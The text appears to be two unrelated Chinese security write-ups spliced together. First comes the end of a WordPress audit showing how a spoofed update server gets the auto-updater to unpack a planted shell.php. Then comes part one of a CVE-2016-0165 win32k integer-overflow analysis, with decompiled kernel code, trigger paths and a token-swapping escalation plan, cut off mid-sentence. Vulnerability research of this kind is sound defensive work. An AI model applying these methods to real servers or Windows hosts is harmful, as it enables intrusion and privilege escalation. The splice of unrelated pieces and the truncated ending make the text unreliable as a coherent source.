深入挖掘这一点，我注意到 **即使没有登录**
，WordPress也会发送了类似对api.wordpress.org的HTTP请求，我开始对WordPress进行代码审计来了解其中发生了什么，以及它是否可能遭受了类似攻击。我在`wp-includes/update.php文件`中发现了`wp_schedule_update_checks()`函数。
function wp_schedule_update_checks() {
if ( ! wp_next_scheduled( 'wp_version_check' ) && ! wp_installing() )
wp_schedule_event(time(), 'twicedaily', 'wp_version_check');
if ( ! wp_next_scheduled( 'wp_update_plugins' ) && ! wp_installing() )
wp_schedule_event(time(), 'twicedaily', 'wp_update_plugins');
if ( ! wp_next_scheduled( 'wp_update_themes' ) && ! wp_installing() )
wp_schedule_event(time(), 'twicedaily', 'wp_update_themes');
}
WordPress会每天两次调用`wp_version_check()`函数、`wp_update_plugins()函数`和`wp_update_themes()函数`。默认情况下，这些更新检查也可以通过`wp-cron.php`发送HTTP请求来触发。于是我开始手动审计这些函数，并修改代码来记录各种数据以及分支和函数调用的结果，查看发生了什么，函数是否根据来自api.wordpress.org的响应而做出了任何危险的操作。
最终我设法伪造了来自`api.wordpress.org`的几个响应，来触发对`$upgrader->upgrade()`的调用，然而以前的伪造插件更新攻击在这里似乎不起作用，之后我在`should_update()`方法中发现了以下注释：
/**
* [...Snipped...]
*
* Generally speaking, plugins, themes, and major core versions are not updated
* by default, while translations and minor and development versions for core
* are updated by default.
*
* [...Snipped...]
*/
事实证明这是WordPress试图升级`内置Hello
Dolly插件`的翻译，我一直试图从`downloads.wordpress.org`下载hello-dolly-1.6-en_GB.zip，而不是请求我伪造的插件zip文件。我下载了原始文件，添加了一个shell.php文件，并将其托管在我的`虚假downloads.wordpress.org`网站上。于是下一次我访问了`wp-cron.php`，WordPress **下载了伪造的更新并解压** 到`wp-content/languages/plugins/`，其中包括
**shell** 等等。
攻击者既然可以对WordPress网站执行`MitM攻击`或`DNS欺骗`，那么就可以针对自动更新功能执行 **零交互攻击**
，并将恶意脚本写入服务器。当然这不一定是一次简单的攻击，但这仍然不可能！
WordPress团队意识到这些问题，但是他们的立场似乎是，如果HTTPS启用失败，为了允许在具有旧或损坏的SSL堆栈系统上运行的WordPress网站进行更新，WordPress将会故意降级为HTTP连接（或者安装恶意代码）……
### 0x08 注意事项/陷阱
当请求更新详细信息和更新存档时，WordPress会尝试首先通过HTTPS连接到`api.wordpress.org`和`downloads.wordpress.org`，但是如果由于任何原因导致
**HTTPS启用失败** ，则使用明文HTTP连接。
如果WordPress的PHP脚本属于不同的用户，那么WordPress将默认无法自动更新（因此不容易受到上述攻击），例如index.php为用户foo拥有，但WordPress是在用户www-data权限下运行的。 | 社区文章 |
作者：Leeqwind
作者博客：<https://xiaodaozhi.com/exploit/32.html>
本文将对 CVE-2016-0165 (MS16-039)
漏洞进行一次简单的分析，并尝试构造其漏洞利用和内核提权验证代码，以及实现对应利用样本的检测逻辑。分析环境为 Windows 7 x86 SP1
基础环境的虚拟机，配置 1.5GB 的内存。
本文分为三篇：
从 CVE-2016-0165 说起：分析、利用和检测（上）
[从 CVE-2016-0165 说起：分析、利用和检测（中）](https://paper.seebug.org/580/ "从
CVE-2016-0165 说起：分析、利用和检测（中）")
[从 CVE-2016-0165 说起：分析、利用和检测（下）](https://paper.seebug.org/581/ "从
CVE-2016-0165 说起：分析、利用和检测（下）")
#### 0x0 前言
CVE-2016-0165 是一个典型的整数上溢漏洞，由于在 `win32k!RGNMEMOBJ::vCreate`
函数中分配内核池内存块前没有对计算的内存块大小参数进行溢出校验，导致函数有分配到远小于所期望大小的内存块的可能性。而函数本身并未对分配的内存块大小进行必要的校验，在后续通过该内存块作为缓冲区存储数据时，将会触发缓冲区溢出访问的
OOB 问题，严重情况将导致系统 BSOD 的发生。
本分析中利用该特性，通过内核内存布局的设计以及内核对象的构造，使 `win32k!RGNMEMOBJ::vCreate`
函数分配的固定大小的内存块被安置在某一内存页的末尾位置，其下一内存页由我们之前分配的垫片对象和位图对象填充。在
`win32k!RGNMEMOBJ::vCreate` 函数接下来调用 `vConstructGET`
函数期间，溢出访问发生在可控的内存区域和范围，下一内存页中我们所分配的垫片和位图对象将被溢出覆盖，其中的数据被破坏。根据精心布局的内存结构，位图对象的
`sizlBitmap.cy` 成员正好被覆盖成了 `0xFFFFFFFF` 数值，这将使该位图对象拥有完整内存空间访问的能力。
然而由于该位图对象的 `pvScan0`
成员值未被覆盖，所以该对象读写内存数据时，只能从自身所关联的位图数据区域首地址作为访问的起始地址。而由于提前精心布局的内存结构，该位图对象下一内存页中对应的位置仍旧存储由我们分配的位图对象，通过当前位图对象作为管理对象，以整内存页读写的方式，对其下一内存页中的位图对象的
`pvScan0`
成员的值进行修改，使其指向我们想要读写访问的内存地址，将下一位图对象作为扩展对象，然后操作扩展对象对指定的内存区域进行读写访问，以指哪、打哪两步走操作的方式，实现任意内核内存地址读写的能力。
利用实现的任意内核内存地址读写的能力，通过定位 `System` 进程的 `EPROCESS` 对象地址和当前进程的 `EPROCESS` 对象地址，以
`Token` 指针替换的方式实现内核提权的目的。
在本分析中，将对该漏洞的逻辑、触发机理、利用对策等进行由浅入深的探索，并将探究本分析中所涉及到的系统函数在内核中是如何关联在一起的。为减小文章数据占用空间，因此将大部分
IDA 和 WinDBG 分析调试的代码数据截图以代码清单的方式呈现。
本次分析涉及或间接涉及到的类或结构体可在[《图形设备接口子系统的对象解释》](https://xiaodaozhi.com/win32k-gdi-object.html "《图形设备接口子系统的对象解释》")文档中找到解释说明。
#### 0x1 原理
CVE-2016-0165 是 `win32k` 内核模块中 GDI
子系统的一个典型的整数向上溢出漏洞。整数向上溢出漏洞通常的特征是：当某个特定的整数变量的数值接近其整数类型的上限、而代码逻辑致使未进行适当的溢出校验就对该变量的值继续增加时，将导致发生整数溢出，使该变量数值的高位丢失，变成远小于其本应成为的数值；如果该变量将作为缓冲区大小或数组的元素个数，继而将使依赖该缓冲区大小或数组元素个数变量的后续代码发生诸如缓冲区溢出、越界访问等问题。
* * *
**漏洞位置**
漏洞发生在 `win32k!RGNMEMOBJ::vCreate` 函数中，该函数是 `RGNMEMOBJ` 内存对象类的成员函数，用于依据路径
`PATH` 对象对当前 `RGNMEMOBJ` 对象所关联的区域 `REGION` 对象进行初始化。通过补丁比对，发现以下主要不同的地方：
if ( 0x28 * (v6 + 1) )
{
v12 = ExAllocatePoolWithTag((POOL_TYPE)0x21, 0x28 * (v6 + 1), 'ngrG');
v7 = a4;
P = v12;
}
else
{
P = 0;
}
清单 1-1 补丁前
if ( ULongAdd(NumberOfBytes, 1u, &NumberOfBytes) >= 0
&& ULongLongToULong(0x28 * NumberOfBytes, 0x28 * NumberOfBytes >> 32, &NumberOfBytes) >= 0 )
{
P = NumberOfBytes ? ExAllocatePoolWithTag((POOL_TYPE)0x21, NumberOfBytes, 'gdeG') : 0;
if ( P )
{
v6 = a4;
NumberOfBytes = 1;
...
}
...
}
清单 1-2 补丁后
函数中有一处 `ExAllocatePoolWithTag` 调用，用来分配在构造 `REGION` 时容纳中间数据的临时缓冲区，并在函数返回之前调用
`ExFreePoolWithTag` 释放前面分配的缓冲区内存。
补丁在 `RGNMEMOBJ::vCreate` 函数中调用 `ExAllocatePoolWithTag` 分配内存之前，增加了 `ULongAdd` 和
`ULongLongToULong` 两个函数调用。函数 `ULongAdd` 用来将参数 1 和参数 2 相加并将值放置于参数 3 指针指向的
`ULONG` 类型变量中；函数 `ULongLongToULong` 用于将 `ULONGLONG` 类型的参数 1 转换为 `ULONG`
类型数值并放置在参数 2 指针指向的变量中。这两个函数在调用时如果发现运算的数值超出 `ULONG` 整数的范围，将会返回
`ERROR_ARITHMETIC_OVERFLOW` (`0x80070216`)
的错误码，所以通常被调用来防止发生整数溢出的问题。在该漏洞所在函数中，补丁增加这两个调用则用来防止 `ExAllocatePoolWithTag` 的参数
`SIZE_T NumberOfBytes` 发生整数溢出。
除去防止整数溢出的作用外，上面的“补丁后”代码片段增加的两个函数调用计算结果等同于：
NumberOfBytes = 0x28 * (NumberOfBytes + 1);
对比补丁前后的代码片段可知两者含义基本相同，均是用来指示 `ExAllocatePoolWithTag` 函数调用分配用以存储“特定数量”+1 个
`0x28` 单位大小元素的内存缓冲区。这个“特定数量”的数值来自于参数 `a2` 指向的 `EPATHOBJ+4` 字节偏移的域：
v6 = *((_DWORD *)a2 + 1);
v38 = v6;
if ( v6 < 2 )
return;
清单 1-3 函数 RGNMEMOBJ::vCreate 对 v6 进行赋值
位于 `EPATHOBJ+4` 字节偏移的域是定义为 `ULONG cCurves` 的成员变量，用于定义当前 `EPATHOBJ` 用户对象的曲线数目。
调用 `ExAllocatePoolWithTag` 函数分配内存缓冲区后，在随后的代码逻辑中，缓冲区地址的指针将被作为第 3 个参数传入
`vConstructGET` 函数调用。
v24 = (struct EDGE *)P;
*(_DWORD *)(*(_DWORD *)v5 + 0x30) = 0x48;
*(_DWORD *)(*(_DWORD *)v5 + 0x18) = 0;
*(_DWORD *)(*(_DWORD *)v5 + 0x14) = 0;
*(_DWORD *)(*(_DWORD *)v5 + 0x34) = 0;
*(_DWORD *)(*(_DWORD *)v5 + 0x1C) = *(_DWORD *)v5 + 0x48;
v25 = *(_DWORD *)v5 + 0x20;
*(_DWORD *)(v25 + 4) = v25;
*(_DWORD *)v25 = v25;
vConstructGET(a2, (struct EDGE *)&v30, v24, a4);
清单 1-4 内存地址的指针作为第 3 个参数传入 vConstructGET 函数
* * *
**vConstructGET**
函数 `vConstructGET` 用于根据路径建立全局边表，全局边表以 Y-X 坐标序列构成。调用 `vConstructGET`
时将前面分配的内存指针是作为 `struct EDGE *` 类型的指针参数传入的。由此可见，该内存缓冲区将作为“特定数量”个单位大小为 `0x28` 的
`struct EDGE` 类型元素的数组发挥作用。查阅相关资料，在 WinNT4 源码 (`fillpath.c`) 中发现 `EDGE`
数据结构的相关定义：
// Describe a single non-horizontal edge of a path to fill.
typedef struct _EDGE {
PVOID pNext; //<[00,04]
INT iScansLeft; //<[04,04]
INT X; //<[08,04]
INT Y; //<[0C,04]
INT iErrorTerm; //<[10,04]
INT iErrorAdjustUp; //<[14,04]
INT iErrorAdjustDown; //<[18,04]
INT iXWhole; //<[1C,04]
INT iXDirection; //<[20,04]
INT iWindingDirection; //<[24,04]
} EDGE, *PEDGE;
清单 1-5 结构体 EDGE 的定义
结构体 `EDGE` 用于描述将要填充的路径中的单个非水平（不与 Y 轴平行的）边。在 32 位环境下，该结构体的大小是 `0x28` 字节。
在函数 `vConstructGET` 中循环调用 `AddEdgeToGET` 函数，将路径中通过两点描述的边依次添加到全局边表中。
for ( pptfxStart = 0; ppr; ppr = *(struct PATHRECORD **)ppr )
{
pptfx = (struct PATHRECORD *)((char *)ppr + 0x10);
if ( *((_BYTE *)ppr + 8) & 1 )
{
pptfxStart = (struct PATHRECORD *)((char *)ppr + 0x10);
pptfxPrev = (struct PATHRECORD *)((char *)ppr + 0x10);
pptfx = (struct PATHRECORD *)((char *)ppr + 0x18);
}
for ( pptfxEnd = (struct PATHRECORD *)((char *)ppr + 8 * *((_DWORD *)ppr + 3) + 0x10);
pptfx < pptfxEnd;
pptfx = (struct _POINTFIX *)((char *)pptfx + 8) )
{
pFreeEdges = AddEdgeToGET(pGETHead, pFreeEdges, pptfxPrev, pptfx, pBound);
pptfxPrev = pptfx;
}
if ( *((_BYTE *)ppr + 8) & 2 )
{
pFreeEdges = AddEdgeToGET(pGETHead, pFreeEdges, pptfxPrev, pptfxStart, pBound);
pptfxPrev = 0;
}
}
清单 1-6 函数 vConstructGET 代码片段
其中，函数 `vConstructGET` 的第 3 个参数 `struct EDGE *pFreeEdges` 即前面分配的内存缓冲区指针，调用
`AddEdgeToGET` 时 `pFreeEdges` 作为参数 `a2` 传入。在依次调用的 `AddEdgeToGET`
函数中，将通过两点描述的边添加到全局边表中，并将相关数据写入当前 `a2` 参数指向的 `EDGE` 结构体元素，最后将下一个 `EDGE`
元素地址作为返回值返回：
*(_DWORD *)pFreeEdge = v24;
*(_DWORD *)v23 = pFreeEdge;
return (struct EDGE *)((char *)pFreeEdge + 0x28);
清单 1-7 函数 AddEdgeToGET 将 pFreeEdges 数组下一个元素地址作为返回值
如果前面分配内存时分配大小满足了溢出条件，那么将会分配远小于所期望长度的内存缓冲区，但存储于数据结构中的数组元素个数仍是原来期望的数值，在循环调用
`AddEdgeToGET` 函数逐个操作 `pFreeEdges`
数组元素时，由于进行了大量的写入操作，将会造成缓冲区访问越界覆盖其他数据，发生不可预料的问题，从而导致系统 `BSOD` 的触发。
#### 0x2 追踪
为了复现漏洞，需要找一条通往 `RGNMEMOBJ::vCreate` 中漏洞关键位置的调用路径。在 `win32k` 中有很多函数都会调用
`RGNMEMOBJ::vCreate` 函数。
图 2-1 RGNMEMOBJ::vCreate 的引用列表
在前面的章节已知，漏洞触发关键变量 `v6` 来源于 `RGNMEMOBJ::vCreate` 函数的 `EPATHOBJ *a2`
参数。通过在引用列表中逐项比对之后决定选取 `NtGdiPathToRegion` 函数作为调用接口。
* * *
**NtGdiPathToRegion**
函数 `NtGdiPathToRegion` 用于根据被选择在 `DC` 对象中的路径 `PATH` 对象创建区域 `REGION`
对象，生成的区域将使用设备坐标，唯一的参数 `HDC a1` 是指向某个设备上下文 `DC`
对象的句柄。由于区域的转换需要闭合的图形，所以在函数中执行转换之前，函数会将 `PATH`
中所有未闭合的图形闭合。在成功执行从路径到区域的转换操作之后，系统将释放目标 `DC` 对象中的闭合路径。另外该函数可在用户态进程中通过
`gdi32.dll` 中的导出函数在用户进程中进行直接调用，这给路径追踪带来便利。
DCOBJ::DCOBJ(&v9, a1);
...
XEPATHOBJ::XEPATHOBJ(&v7, &v9);
if ( v8 ) // *(PPATH *)((_DWORD *)&v7 + 2)
{
v4 = *(_BYTE *)(*(_DWORD *)(v9 + 0x38) + 0x3A);
v11 = 0;
RGNMEMOBJ::vCreate((RGNMEMOBJ *)&v10, (struct EPATHOBJ *)&v7, v4, 0);
if ( v10 )
{
v5 = HmgInsertObject(v10, 0, 4);
if ( !v5 )
RGNOBJ::vDeleteRGNOBJ((RGNOBJ *)&v10);
}
else
{
v5 = 0;
}
...
}
清单 2-1 函数 NtGdiPathToRegion 中调用 RGNMEMOBJ::vCreate 函数
在函数中位于栈上的用户对象 `XEPATHOBJ v7` 的地址被作为第 2 个参数传递给 `RGNMEMOBJ::vCreate`
函数调用。`XEPATHOBJ v7` 在其自身的带参构造函数 `XEPATHOBJ::XEPATHOBJ` 中依据用户对象 `DCOBJ v9`
进行初始化，而稍早时 `DCOBJ v9` 在 `DCOBJ::DCOBJ` 构造函数中依据 `NtGdiPathToRegion` 函数的唯一参数
`HDC a1` 句柄进行初始化。
* * *
**构造函数**
构造函数 `XEPATHOBJ::XEPATHOBJ` 接受 `XDCOBJ *a2` 作为参数。函数中对成员域 `cCurves` 也进行了赋值：
EPATHOBJ::EPATHOBJ(this);
...
v3 = HmgShareLock(*(_DWORD *)(*(_DWORD *)a2 + 0x6C), 7);
*((_DWORD *)this + 2) = v3;
if ( v3 )
{
*((_DWORD *)this + 1) = *(_DWORD *)(v3 + 0x44); // count
*((_DWORD *)this + 0) = *(_DWORD *)(v3 + 0x40);
}
清单 2-2 对成员 cCurves 进行赋值
构造函数中通过调用 `HmgShareLock` 函数并传入 `HPATH` 句柄和 `PATH_TYPE` (`7`) 类型对句柄指向的 `PATH`
对象增加共享计数并返回对象指针，返回的指针被存储在 `this` 的第 3 个成员变量中（即父类 `EPATHOBJ` 中的 `PPATH ppath`
成员），以使当前 `XEPATHOBJ` 对象成为目标 `PATH` 对象的用户对象。传入 `HmgShareLock` 函数调用的参数 1
句柄来源于构造函数的参数 `XDCOBJ *a2`。`XDCOBJ` 类中第 1 个成员变量 `PDC pdc` 是指向当前 `XDCOBJ`
用户对象所代表的设备上下文 `DC` 对象的指针。此处获取 `a2` 对象的成员变量 `pdc` 指向 `DC` 对象中存储的 `HPATH` 句柄，作为
`HmgShareLock` 函数调用的句柄参数。
位于 `PATH+0x44` 字节偏移的也是一个名为 `ULONG cCurves` 的域，该域的值赋值给 `this` 的第 2 个成员变量（即
`cCurves` 成员变量）。
构造函数 `DCOBJ::DCOBJ` 的执行就相对简单的多，其中仅根据句柄参数 `HDC a2` 获取该句柄指向的设备上下文 `DC` 对象指针并存储在
`this` 的第 1 个成员变量中（即 `PDC pdc` 成员），以使当前 `DCOBJ` 对象成为目标 `DC` 对象的用户对象。
据此可推断，漏洞关键位置 `ExAllocatePoolWithTag` 的内存分配大小参数可以通过参数 `HDC a1` 句柄作为接口进行控制。
* * *
**调用路径**
在用户态进程中，通过 `gdi32.dll` 中的 `HRGN PathToRegion(HDC hdc)` 函数可直接调用
`NtGdiPathToRegion` 系统调用。通过 `gdi32!PathToRegion` 调用将会实现如下的调用路径：
图 2-2 从 PathToRegion 到 ExAllocatePoolWithTag 调用路径
#### 0x3 触发
接下来要想办法使上述调用路径能够使漏洞关键位置成功达成漏洞触发条件，即满足 `ExAllocatePoolWithTag` 分配缓冲区大小的整数溢出条件，使
`ExAllocatePoolWithTag` 最终分配远小于应该分配大小的缓冲区。
* * *
**PolylineTo**
`gdi32.dll` 模块中存在 `PolylineTo` 导出函数，用于向 `HDC hdc` 句柄指向的 `DC`
对象中绘制一条或多条直线。该函数最终将直接调用 `NtGdiPolyPolyDraw` 系统调用：
BOOL __stdcall PolylineTo(HDC hdc, const POINT *apt, DWORD cpt)
{
int v4; // eax@4
int v5; // edi@4
int v6; // edi@9
if ( ((unsigned int)hdc & 0x7F0000) != 0x10000 )
{
if ( ((unsigned int)hdc & 0x7F0000) == 0x660000 )
return 0;
v4 = pldcGet(hdc);
v5 = v4;
if ( !v4 )
{
GdiSetLastError(6);
return 0;
}
if ( *(_DWORD *)(v4 + 8) == 2 && !MF_Poly((int)hdc, (struct _POINTL *)apt, cpt, 6u) )
return 0;
if ( *(_BYTE *)(v5 + 4) & 0x20 )
vSAPCallback(v5);
v6 = *(_DWORD *)(v5 + 4);
if ( v6 & 0x10000 )
return 0;
if ( v6 & 0x100 )
StartPage(hdc);
}
return NtGdiPolyPolyDraw(hdc, apt, &cpt, 1, 4);
}
清单 3-1 函数 PolylineTo 代码
函数 `NtGdiPolyPolyDraw` 用于绘制一个或多个多边形、折线，也可以绘制由一条或多条直线段、贝塞尔曲线段组成的折线等；其第 4 个参数
`ccpt` 用于在绘制一系列的多边形或折线时指定多边形或折线的个数，如果绘制的是线条（不管是直线还是贝塞尔曲线）该值都需要设置为 `1`；第 5 个参数
`iFunc` 用于指定绘制图形类型，设置为 `4` 表示绘制直线。
函数 `NtGdiPolyPolyDraw` 中规定调用时的线条总数目（包括绘制多个多边形或折线时每个图形的边的总数总计）不能大于 `0x4E2000`
数值，否则将直接返回调用失败：
cpt = 0;
for ( i = 0; i < ccpt; ++i )
cpt += *((_DWORD *)pulCounts + i);
if ( cpt > 0x4E2000 )
goto LABEL_56;
清单 3-2 函数 NtGdiPolyPolyDraw 规定线条总数目限制
根据第 5 个参数的值将进入不同的绘制例程：
switch ( iFunc )
{
case 1:
ulRet = GrePolyPolygon(hdc, pptTmp, pulCounts, ccpt, cpt);
break;
case 2:
ulRet = GrePolyPolyline(hdc, pptTmp, pulCounts, ccpt, cpt);
break;
case 3:
ulRet = GrePolyBezier(hdc, pptTmp, ulCount);
break;
case 4:
ulRet = GrePolylineTo(hdc, pptTmp, ulCount);
break;
case 5:
ulRet = GrePolyBezierTo(hdc, pptTmp, ulCount);
break;
default:
if ( iFunc != 6 )
{
v18 = 0;
goto LABEL_47;
}
ulRet = GreCreatePolyPolygonRgnInternal(pptTmp, pulCounts, ccpt, hdc, cpt);
break;
}
清单 3-3 函数 NtGdiPolyPolyDraw 根据第 5 个参数的值调用绘制例程
在 `PolylineTo` 函数中调用时由于这两个参数被分别指定为 `1` 和 `4` 数值，那么在 `NtGdiPolyPolyDraw`
中将会进入调用 `GrePolylineTo` 函数的分支。传入 `GrePolylineTo` 函数调用的第 3 个参数 `ulCount`
是稍早时赋值的本次需要绘制线条的数目，数值来源于从 `PolylineTo` 函数传入的 `cpt` 变量（见清单 3-1 所示）。
关键在于 `GrePolylineTo` 函数中，该函数首先根据 `HDC a1` 参数初始化 `DCOBJ v12`
用户对象，此处与上一章节中的初始化逻辑相同；接下来定义了 `PATHSTACKOBJ v13` 用户对象。`PATHSTACKOBJ` 是
`EPATHOBJ` 用户对象类的子类，具体定义在开始章节中有相关介绍。函数中调用 `PATHSTACKOBJ::PATHSTACKOBJ` 构造函数对
`v13` 对象进行初始化，并在初始化成功后调用成员函数 `EPATHOBJ::bPolyLineTo` 执行绘制操作。
EXFORMOBJ::vQuickInit((EXFORMOBJ *)&v11, (struct XDCOBJ *)&v12, 0x204u);
v8 = 1;
PATHSTACKOBJ::PATHSTACKOBJ(&v13, (struct XDCOBJ *)&v12, 1);
if ( !v14 )
{
EngSetLastError(8);
LABEL_12:
PATHSTACKOBJ::~PATHSTACKOBJ((PATHSTACKOBJ *)&v13);
v6 = 0;
goto LABEL_9;
}
if ( !EPATHOBJ::bPolyLineTo(&v13, (struct EXFORMOBJ *)&v11, a2, a3) )
goto LABEL_12;
v9 = (const struct _POINTFIX *)EPATHOBJ::ptfxGetCurrent(&v13, &v10);
DC::vCurrentPosition(v12, &a2[a3 - 1], v9);
清单 3-4 函数 GrePolylineTo 的代码片段
* * *
**构造函数**
构造函数 `PATHSTACKOBJ::PATHSTACKOBJ` 具有 `struct XDCOBJ *a2` 和 `int a3` 两个外部参数。参数
`a2` 不解释；参数 `a3` 用于指示是否将目标 `DC` 对象的当前位置坐标点使用在 `PATH` 对象中。此处传递的值是 `1` 表示使用当前位置。
构造函数首先会根据标志位变量 `v4` 判断目标 `DC` 对象是否处于活跃状态，随后通过调用 `HmgShareLock` 函数获取目标 `PATH`
对象指针并初始化相关成员变量（与前面章节所示类似地，包括 `cCurves` 成员）。参数 `a3` 值为 `1` 时构造函数会获取该 `DC`
对象的当前位置坐标点，用以在后续的画线操作中将其作为初始坐标点。
v4 = *(_DWORD *)(*(_DWORD *)a2 + 0x70);
if ( v4 & 1 )
{
...
v6 = HmgShareLock(*(_DWORD *)(*(_DWORD *)a2 + 0x6C), 7);
*((_DWORD *)this + 2) = v6;
if ( v6 )
{
*((_DWORD *)this + 1) = *(_DWORD *)(v6 + 0x44);
*((_DWORD *)this + 0) = *(_DWORD *)(v6 + 0x40);
...
}
...
}
清单 3-5 构造函数 PATHSTACKOBJ::PATHSTACKOBJ 对成员变量的初始化
不关注构造函数中后续的其他初始化操作，回到 `GrePolylineTo` 函数中并关注 `EPATHOBJ::bPolyLineTo`
函数调用。`EPATHOBJ::bPolyLineTo` 执行具体的从 `DC` 对象的当前位置点到指定点的画线操作。如清单 3-4 所示，传入的第 4
个参数 `a3` 是由 `NtGdiPolyPolyDraw` 函数传入的线条数目 `ulCount` 变量；此时作为其 `a4` 参数的值传入
`EPATHOBJ::bPolyLineTo` 函数调用。
* * *
**EPATHOBJ::bPolyLineTo**
函数 `EPATHOBJ::bPolyLineTo` 通过调用 `EPATHOBJ::addpoints`
执行将目标的点添加到路径中的具体操作。执行成功后，将参数 `a4` 的值增加到成员变量 `cCurves` 中：
if ( *((_DWORD *)this + 2) )
{
v6 = 0;
v8 = a3;
v7 = a4;
result = EPATHOBJ::addpoints(this, a2, (struct _PATHDATAL *)&v6);
if ( result )
*((_DWORD *)this + 1) += a4;
}
清单 3-6 函数 EPATHOBJ::bPolyLineTo 增加成员变量 cCurves 的值
函数 `EPATHOBJ::addpoints` 主要通过调用函数 `EPATHOBJ::growlastrec` 和
`EPATHOBJ::createrec` 实现功能：
if ( !(*(_BYTE *)(*((_DWORD *)this + 2) + 0x34) & 1) )
EPATHOBJ::growlastrec(this, a2, a3, 0);
while ( *((_DWORD *)a3 + 1) > 0u )
{
if ( !EPATHOBJ::createrec(v3, a2, a3, 0) )
return 0;
}
清单 3-7 函数 EPATHOBJ::addpoints 代码片段
系统在 `PATH` 对象中通过一个或多个 `PATHRECORD` 记录存储一组或多组路径数据；从第 2 个开始的 `PATHRECORD` 记录项作为第
1 个记录项的延续。初始情况下，当前 `PATH` 对象并未包含任何 `PATHRECORD` 项，此时在调用 `EPATHOBJ::addpoints`
函数时会跳过 `EPATHOBJ::growlastrec` 调用而直接执行到 `EPATHOBJ::createrec` 函数。
type struct _POINTFIX {
ULONG x;
ULONG y;
} POINTFIX, *PPOINTFIX;
struct _PATHRECORD {
struct _PATHRECORD *pprnext;
struct _PATHRECORD *pprprev;
FLONG flags;
ULONG count;
POINTFIX aptfx[2]; // at least 2 points
};
清单 3-8 PATHRECORD 结构定义
函数 `EPATHOBJ::createrec` 创建并初始化新的 `PATHRECORD` 记录项，并将其添加到 `PATH` 对象中。函数中会判断当前
`PATH` 对象是否属于初始状态，如果属于初始状态则将前置初始点数量 `cPoints` 变量置为 `1` 并随后将初始坐标点首先安置在新构造的
`PATHRECORD` 记录中作为最开始的坐标点，该初始坐标点稍早时在构造函数中通过目标 `DC`
对象的当前位置坐标点初始化；由用户传入的坐标点序列将紧随其后被逐项安置在 `PATHRECORD` 记录中。在处理并存储坐标点数据时，各坐标点的 X 轴和
Y 轴数值都被左移 `4` 位。
cPoints = *((_DWORD *)ppath + 0xD) & 1;
...
if ( cPoints )
{
ppath = *((_DWORD *)this + 2);
*((_DWORD *)ppr + 4) = *(_DWORD *)(ppath + 0x2C);
*((_DWORD *)ppr + 5) = *(_DWORD *)(ppath + 0x30);
--maxadd;
*((_DWORD *)ppr + 2) = flags | *(_DWORD *)(*((_DWORD *)this + 2) + 0x34) & 5;
*(_DWORD *)(*((_DWORD *)this + 2) + 0x34) &= 0xFFFFFFFA;
}
else
{
ppath = *((_DWORD *)this + 2);
if ( *(_DWORD *)(ppath + 0x18) != 0 )
*(_DWORD *)(*(_DWORD *)(ppath + 0x18) + 8) &= 0xFFFFFFFD;
}
v19 = (struct PATHRECORD *)((char *)ppr + 8 * cPoints + 0x10);
清单 3-9 函数 EPATHOBJ::createrec 将初始点安置在 PATHRECORD 坐标点序列起始位置
在安置初始坐标点的同时，函数会清除目标 `PATH` 对象的代表初始状态的标志位；后续再次针对当前 `PATH` 对象调用到
`EPATHOBJ::addpoints` 时，将会首先进入 `EPATHOBJ::growlastrec`
调用，由用户传入的坐标点序列将被优先追加到原有的 `PATHRECORD` 记录中；当原有的记录的坐标点缓冲区存满时，才会进入后续的
`EPATHOBJ::createrec` 调用，创建新的作为前一个 `PATHRECORD` 记录延续的记录项。
* * *
**析构函数**
在 `EPATHOBJ::~EPATHOBJ` 析构函数中会将 `EPATHOBJ` 对象的 `cCurves` 成员存储的更新后的曲线数目回置给关联的
`PATH` 对象中的 `cCurves` 域中：
ppath = ((_DWORD *)this + 2);
if ( *((_DWORD *)this + 2) )
{
*(_DWORD *)(*(_DWORD *)ppath + 0x44) = *((_DWORD *)this + 1);
*(_DWORD *)(*(_DWORD *)ppath + 0x40) = *((_DWORD *)this + 0);
ppath = DEC_SHARE_REF_CNT(*(_DWORD *)ppath);
}
清单 3-10 析构函数 EPATHOBJ::~EPATHOBJ 回置 cCurves 域的值
另外注意到在 `EPATHSTACKOBJ::~EPATHSTACKOBJ` 析构函数中也存在类似的回置逻辑，但其需判断当前 `EPATHSTACKOBJ`
对象是否属于 `PATHTYPE_STACK` 类型，在本分析所涉及的调用中并未涉及到该类型，所以只在父类 `EPATHOBJ` 的析构函数中回置相关域。
* * *
**调用路径**
根据上面的分析可知，通过适当调用 `gdi32!PolylineTo` 即可增加目标 `DC` 对象关联的 `PATH` 对象中 `cCurves`
域的值，该值直接影响到调用漏洞所在函数 `RGNMEMOBJ::vCreate` 分配内存缓冲区的大小。所以通过精巧构造的 POC 应可实现漏洞的触发。从
`PolylineTo` 到 `EPATHOBJ::bPolyLineTo` 的调用路径：
图 3-1 从 PolylineTo 到 EPATHOBJ::bPolyLineTo 调用路径
#### 0x4 验证
根据前面章节的分析和追踪，在本章节尝试对该漏洞的机理进行验证。
在 `Windows` 系统中，`ULONG` 类型的整数最大值为 `0xFFFFFFFF`，超过该范围将会发生整数向上溢出，溢出发生后仅保留计算结果的低
`32` 位数据，超过 `32` 位的数据将丢失。例如：
0xFFFF FFFF + 0x1 = 0x(1) 0000 0000 = 0x0
在本漏洞所在的现场，传入 `ExAllocatePoolWithTag` 的参数：
NumberOfBytes = 0x28 * (v6 + 1)
要使 `NumberOfBytes` 参数满足 `32` 位整数溢出的条件，需要满足：
0x28 * (v6 + 1) > 0xFFFFFFFF
解该不等式得到 `v6 > 0x6666665` 的结果。
在 `RGNMEMOBJ::vCreate` 函数的开始位置调用的 `EPATHOBJ::vCloseAllFigure` 成员函数，用来遍历
`PATHRECORD` 列表中的每个条目，并将所有未处于闭合状态的记录项设置为闭合状态。设置闭合状态表示将末尾的坐标点和起始坐标点相连接，所以需要同时对
`cCurves` 成员变量加一。
for ( ppr = *(struct PATHRECORD **)(*((_DWORD *)this + 2) + 0x14); ppr; ppr = *(struct PATHRECORD **)ppr )
{
v2 = *((_DWORD *)ppr + 2);
if ( v2 & 2 )
{
if ( !(v2 & 8) )
{
*((_DWORD *)ppr + 2) = v2 | 8;
++*((_DWORD *)this + 1);
}
}
}
清单 4-1 闭合 PATHRECORD 记录时对 cCurves 成员变量加一
形成闭合图形之后，边的数目应和顶点的数目相等；而根据前面的章节可知，在调用 `EPATHOBJ::createrec` 函数创建初始
`PATHRECORD` 记录时，将源自于设备上下文的起始坐标点作为 `PATH` 对象的顶点序列的最开始的坐标点，这导致执行到漏洞关键位置时，变量
`v6` 的值比由用户进程传入的线条数目大 `1`。所以在用户进程中传递的画线数目只需大于 `0x6666664` 就能够满足溢出条件。但根据图 3-2
